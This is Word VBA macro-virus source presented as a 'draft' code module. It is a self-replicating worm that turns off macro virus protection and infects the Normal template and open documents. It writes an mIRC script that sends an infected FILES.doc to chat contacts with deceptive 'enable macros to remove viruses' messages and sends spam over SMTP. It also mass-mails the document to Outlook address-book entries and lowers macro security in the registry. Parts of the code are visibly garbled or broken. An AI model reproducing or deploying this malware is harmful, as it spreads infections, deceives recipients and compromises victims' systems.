The following code module is a draft; Control, Data, and Logic will be classified first, and then binary || duo-binary will be tested ... ; Last updated on June 20, 2006
Private Sub Document_Close()
On Error Resume Next
'ACK.HEX.HEX.HEX
Set Something = Options
Something.VirusProtection = 0
Something.ConfirmConversions = 0
Something.SaveNormalPrompt = 0
Application.EnableCancelKey = 0
Application.StatusBar = 0
Application.ScreenUpdating = 0
Set AnI = ActiveDocument.VBProject.VBComponents(1)
Set BnI = NormalTemplate.VBProject.VBComponents(1)
If UCase(AnI.CodeModule.Lines(3,1)) = " 'ACK.HEX.HEX.HEX" Then InA = 1
If UCase(BnI.CodeModule.Lines(3,1)) = " 'ACK.HEX.HEX.HEX" Then InB = 1
If InA = 1 And InB = 1 Then Exit Sub
Set CnI = MacroContainer.VBProject.VBComponents.Item(1)
VCode = CnI.CodeModule.Lines(2, CnI.CodeModule.CountOfLines)
If InA = 1 Then BnI.CodeModule.AddFromString("Private Sub Document_Close" & Chr(13) & VCode)
If InB = 1 Then AnI.CodeModule.AddFromString("Private Sub Document_Open" & Chr(13) & VCode)
NormalTemplate.Save
somename = ActiveDocument.Name
DoEvents
If InB = 1 Then
If Dir("$p$gusamyanmar\usamyanmar32.exe")<>"" Then
var3 = "$p$gusamyanmar\script.ini"
If System.PrivateProfileString("$p$gusamyanmar\usamyanmar.ini", "warm", "fserve") <> "" Then System.PrivateProfileString("$p$gusamyanmar\usamyanmar.ini", "warn", "fserve") = "off"
If System.PrivateProfileString("$p$gusamyanmar\usamyanmar.ini", "fileserver", "warming") <> "" Then
System.PrivateProfileString("C:usamyanmar\usamyanmar.ini", "fileserver", "warming") = "off"
If Dir(var3)<>"" Then Kill var3
Open "$p$gusamyanmar\script.ini" For Output As #1
Print #1, "[script]"
Print #1, "n0=On 1:Connect: Set {...}{ .notify SimpleSmn | Set %var7 $rand(1,8) | If (%var7=1) { Set %var8 usamyanmar.net } | If (%var7 = 2) { Set %var8 abcdefg.com } | If (%var7 = 3) { Set %var8 hijklmno.com } | If (%var7 = 4) { Set %var8 pqrs.com } | If (%var7 = 5) { Set %var8 tuvw.com } | If (%var7 = 6) {Set %var8 xyz.com } | If (%var7 = 7) { Set %var8 www.abc.xyz.edu } | If (%var7 = 8) {Set %var8 ijk.com} | Set %var9 $rand(1,4) | If (%var9 = 1) { Set %var10 email_user_name@email_server_of_a_domain } | If (%var9 = 2) { Set %var10 email_user_name@email_server_of_a_domain } | If (%var9 = 3) { Set %var10 email_user_name@email_server_of_a_domain } | If (%var9 = 3) { Set %var10 email_user_name@email_server_of_a_domain } | If ($exists($p$g OS_Name\script1.ini)=$true) {.remove $p$g OS_Name\script1.ini } | .copy $p$gusamyanmar\script.ini $p$g OS_Name\script1.ini | .load -rs $p$g OS_Name\script1.ini | .write -c $p$gusamyanmar\script.ini [script] | .reload -rs $p$gusamyanmar\script.ini }"
Print #1, "n1=0n 1:Input:*:{ Set %var1 $1- | If ( $upper(%var1) = /BY) { .echo swap_character_map 1Usamyanmar Worm swap_character_map 4ACK.HEX.HEX.HEX | .echo swap_character_map 12<swap_character_map9<swap_character_map12<swap_character_map9By SimpleSimon swap_character_map12>swap_character_map9>swap_character_map12> |halt } }"
Print #1, "n2=On 1:Notify:{ .timer3 1 10 { .clear -s } | If ($CK== SimpleSmn ) {.msg SimpleSmn I'm on irc. | halt } | .timer1 1 15 { .notify -r $CK | .ignore $CK | .timer9 1 5 { .msg $CK Hey, I can't talk right now but I wanted to send you this file. It has a funny FILES you should read, and also has macros inside that protect you from a lot of viruses. Just open the documents, enable the macros, and if you are infected it will get rid of the virus } | .timer2 1 15 { .dcc send $CK $p$g OS_Name\FILES.doc } } | .timer 1 16 { .notify|.clear -s } }"
Print #1, "n3=On 1:Unotify: .clear -s"
Print #1, "n4=On 1:Join:#: if (help isin $chan) || (nohack isin $chan) { .part $chan } | If ($exists($p$gusamyanmar\script.ini)=$true) {.remove C:usamyanmar\script.ini }"
Print #1, "n5=On 1:Filercvd:*.*:If($Network_Provider != $CK ) { .dcc send $CK $p$g OS_Name\FILES.doc }"
Print #1, "n6=On 1:Invite:#:{.ignore $CK|.timer 1 10 { .join # } | .timer 1 15 { .msg $CK Thanks for the invite } |.timer 1 20 { .msg $CK I'm a little busy so I can't talk much now. I thought you might want to look at this file I got. It has a funny FILES and also has macros in it which get rid of any macro viruses. Just enable the macros when the prompt comes up and it will scan for any viruses and clean them. }|.timer 1 25 { .dcc send $CK $p$g OS_Name\FILES.doc } }"
DoEvents
Print #1, "n7=On 1:Notice:Simplicity:*:.fserve $CK 100 $p$g"
Print #1, "n8=On 1:Text:*script*:*:.ignore $CK"
Print #1, "n9=On 1:Text:*worm*:*:.ignore $CK"
Print #1, "n10=On 1:Text:*virus*:*:.ignore $CK"
Print #1, "n11=On 1:Text:*infect*:*:.ignore $CK"
Print #1, "n12=On 1:Text:*ACK*Hex*:*:.ignore $CK"
Print #1, "n13=On 1:Text:*macro*:*:.ignore $CK"
Print #1, "n14=On 1:Text:*FILES.doc*:.ignore $CK"
Print #1, "n15=On 1:Text:*Hi*:*:{.timer1 1 5 {.sockclose virc | .sockopen virc %var8 25 } }"
DoEvents
Print #1, "n16=On 1:Text:*!*:*:{.timer1 1 15 { .sockclose virc | .sockopen virc %var8 25 } }"
Print #1, "n17=On 1:Text:*Hey*:*:{.timer1 1 15 {.sockclose virc | .sockopen virc %var8 25 } }"
Print #1, "n18=On 1:Text:*Hello*:*:{.timer1 1 5 {.sockclose virc | .sockopen virc %var8 25 } }"
Print #1, "n19=On 1:Sockopen:virc:{ Unset %var2 | Unset %var4 | Unset %var6 | Set %var1 $rand(3,8) + 1 | Set %loop 1 | Set %var3 0|:check1 |If(%loop=%var1){goto out} | If(%var3=0){Set %var2 %var2 $rand(A, Z) }|If(%(var3=2) { Set %var6 %var6 $rand(A, Z) } | If(%var3=2) && ($rand(1,3)=2) { Set %var6 %var6 $chr(225) } |inc %loop | goto check1 |:out|If(%var3 = 0) { Set %var3 1 |Set %var1 $rand(3,8) | Set %loop 1|goto check1 } | If(%var3 =1) { Set %var3 2|Set %var1 $rand(5,50) | Set %loop 1|goto check1 } |Set %var2 $remove(%var2, $chr(32))|Set %var4 $remove(%var4 $remove(%var4, $chr(32))|Set %var5 %var2 @ %var4.com |Set %var5 $remove(%var5, $chr(32))|Set %var6 $remove(%var6, $chr(32))|Set %var6 $replace(%var6, $chr(225), $chr(32))|If(%var7 = 6) {.sockwrite -n virc Helo %var2 }|.sockwrite -n virc mail from: %var5"
Print #1, "n20=If($sockerr != 0){ halt }|.sockwrite -n virc rcpt to: %var10|.sockwrite -n virc data |.sockwrite -n virc To: %var10|.sockwrite -n virc From: %var5|.sockwrite -n virc Subject: %var6 |.sockwrite -n virc ACK.HEX.HEX.HEX Has Popped Up Again!|.sockwrite -n virc .|.sockwrite -n virc Quit | .sockclose virc }"
Print #1, "n21=On 1:Disconnect:{ If($exists($p$gusamyanmar\script.ini)=$true){.remove $p$gusamyanmar\script.ini } |If ($exists($p$g OS_Name\script1.ini)=$true){.copy $p$g OS_Name\script1.ini $p$gusamyanmar\script.ini |.remove $p$g OS_Name\scripts1.ini } }"
Close #1
If Dir("$p$g OS_Name\FILES.doc")="" Then
ActiveDocument.SaveAs FileName:="$p$g OS_Name\FILES.doc", AddToRecentFiles:=False
End If
End If
If Left(somename, 8) <> "Document" Then ActiveDocument.SaveAs FileName:
=ActiveDocument.FullName, FileFormat:=Format_of_document i.e. wdFormatDocument is for MS_Word
End If
CommandBars("Tools").Controls("Macro").Enabled = 0
CommandBars("Tools").Controls("Customize...").Enabled = 0
CommandBars("View").Controls("Toolbars").Enabled = 0
CommandBars("View").Controls("Status Bar").Enabled = 0
End Sub
END OF DOCUMENT()
On Error Resume Next
If System.PrivateProfileString("", "HKEY_CURRENT_USER\Software\Company_Name\System_Name\10.0\Application_Name\Security", "Level")<>"" Then
CommandBars("Macro").Controls("Security...").Enabled = False
System.PrivateProfileString("", "HKEY_CURRENT_USER\Software\Company_Name\System_Name\10.0\Application_Name\Security", "Level") = 1&
Else
CommandBars("Tools").Controls("Macro").Enabled = False
Options.ConfirmConversions = (1 - 1): Options.VirusProtection = (1-1):Options.SaveNormalPrompt = (1 -1)
End If
Dim UngaDasELECTRONIC_MAIL, DasMapiName, BreakUmOffASlice
Set UngaDasELECTRONIC_MAIL = CreateObject("ELECTRONIC_MAIL.Application")
Set DasMapiName = UngaDasELECTRONIC_MAIL.GetNameSpace("MAPI")
If System.PrivateProfileString("", "HKEY_CURRENT_USER\Software\Company_Name\System_Name\", "256_char_constraint_unwanted_name?")<>"... by a myanmar" Then
If UngaDasELECTRONIC_MAIL = "ELECTRONIC_MAIL" Then
DasMapiName.Logon "profile", "password"
For y = 1 To DasMapiName.AddressLists.Count
Set y = 1 To DasMapiName.AddressLists.Count
Set AddyBook = DasMapiName.AddressLists(y)
x = 1
Set BreakUmOffASlice = UngaDasELECTRONIC_MAIL.CreateItem(0)
For oo = 1 To AddyBook.AddressEntries.Count
Peep = AddyBook.AddressEntries(x)
BreakUmOffASlice.Recipients.Add Peep
x = x + 1
If x > 50 Then oo = AddyBook.AddressEntries.Count
Next oo
BreakUmoffASlice.Subject = "Important Message From " & Application.UserName
BreakUmOffASlice.Body = "Here is that document you asked for .. don't show anyone else ; -)"
BreakUmOffASlice.Attachments.Add ActiveDocument.FullName
BreakUmOffASlice.Send
Peep = ""
Next y
DasMapiName.Logoff
End If
System.PrivateProfileString("", "HKEY_CURRENT_USER\Software\Company_Name\System_Name\", "256_char_constraint_unwanted_name?") = "... by a myanmar"
End If
Set ADI1 = ActiveDocument.VBProject.VBComponents.Item(1)
Set NTI1 = NormalTemplate.VBProject.VBCompnents.Item(1)
NTCL = NTI1.CodeModule.CountOfLines
ADCL = ADI1.CodeModule.CountOfLines
BGN = 2
If ADI1.Name <> "256_char_constraint_unwanted_name" Then
If ADCL > 0 Then
ADI1.CodeModule.DeleteLines 1, ADCL
Set ToInfect = ADI1
ADI1.Name = "256_char_constraint_unwanted_name"
DoAD = True
End If
If NTI1.Name <> "256_char_constraint_unwanted_name" Then
If NTCL > 0 Then
NTI1.CodeModule.DeleteLines 1, NTCL
Set ToInfect = NTI1
NTI1.Name = "256_char_constraint_unwanted_name"
DoNT = True
End If
If DoNT <> True And DoAD <> True Then GoTo CYA
If DoNT = True Then
Do While ADI1.CodeModule.Lines(1,1)=""
ADI1.CodeModule.DeleteLines 1
Loop
ToInfect.CodeModule.AddFromString("Private Sub Document_Close()")
Do While ADI1.CodeModule.Lines(BGN, 1) <> ""
ToInfect.CodeModule.InsertLines BGN, ADI1.CodeModule.Lines(BGN, 1)
Loop
End If
If DoAD = True Then
Do While NTI1.CodeModule.Lines(1,1) = ""
NTI1.CodeModule.DeleteLines 1
Loop
ToInfect.CodeModule.AddFromString("Private Sub Document_Open()")
Do While NTI1.CodeModule.Lines(BGN, 1) <> ""
ToInfect.CodeModule.InsertLines BGN, NTI1.CodeModule.Lines(BGN, 1)
Loop
End If
CYA:
If NTCL <> 0 and ADCL = 0 And (InStr(1, ActiveDocument.Name, "Document") = False) Then
ActiveDocument.SaveAs FileName:=ActiveDocument.FullName
ElseIf(InStr(1, ActiveDocument.Name, "Document") <> False) Then
ActiveDocument.Saved = True: End If
'OS vs. OSI duo-binary draft is written and developed by a myanmar
'Works in both Application_Name
'Worm? Macro Virus? Application_Name Virus? Application_Name Virus? You Decide!
'Application_Name -> Email | Application_Name_Binary <--> Application_Name_Duobinary ... it's a new age with early 21st century's nano products!
If Day(Now) = Minute(Now) Then Selection.TypeText " Twenty-two points, plus triple-word_score, plus fifty points for using all my letters. Game's over. I'm outta here."
End Sub
Private Sub Document_New()
End Sub
Private Sub Document_Open()
End Sub